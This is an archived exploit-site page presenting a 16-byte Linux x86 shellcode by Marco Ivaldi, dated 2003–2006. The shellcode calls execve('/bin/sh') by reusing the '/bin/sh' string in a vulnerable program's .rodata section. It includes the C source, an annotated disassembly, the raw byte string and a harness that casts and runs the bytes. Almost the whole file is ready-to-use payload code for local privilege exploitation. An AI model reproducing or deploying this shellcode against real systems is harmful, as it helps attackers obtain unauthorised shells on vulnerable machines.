what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

16-reuse.txt

16-reuse.txt
Posted Jul 26, 2006
Authored by Marco Ivaldi

16 byte linux/x86 re-use of /bin/sh string in .rodata shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | ad8fcd0ac36e089054906943d5c66f53838b695805d2d5ce532fc6d00733348b

16-reuse.txt

Change Mirror Download
/*
* $Id: reusage-linux.c,v 1.3 2004/01/30 20:08:46 raptor Exp $
*
* reusage-linux.c - re-use of "/bin/sh" string in .rodata
* Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Short local shellcode for /bin/sh execve(). It re-uses the "/bin/sh"
* string stored in the .rodata section of the vulnerable program. Change
* the string address as needed (based on zillion's original idea).
*/

/*
* execve("/bin/sh", ["/bin/sh"], NULL)
*
* 8049368: 31 c0 xor %eax,%eax
* 804936a: bb 08 84 04 08 mov $0x8048408,%ebx # change it
* 804936f: 53 push %ebx
* 8049370: 89 e1 mov %esp,%ecx
* 8049372: 31 d2 xor %edx,%edx
* 8049374: b0 0b mov $0xb,%al
* 8049376: cd 80 int $0x80
* 8049378: 00 00 add %al,(%eax)
*/

char sc[] = /* 16 bytes */
"\x31\xc0\xbb\x08\x84\x04\x08\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

main()
{
int (*f)() = (int (*)())sc; f();
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close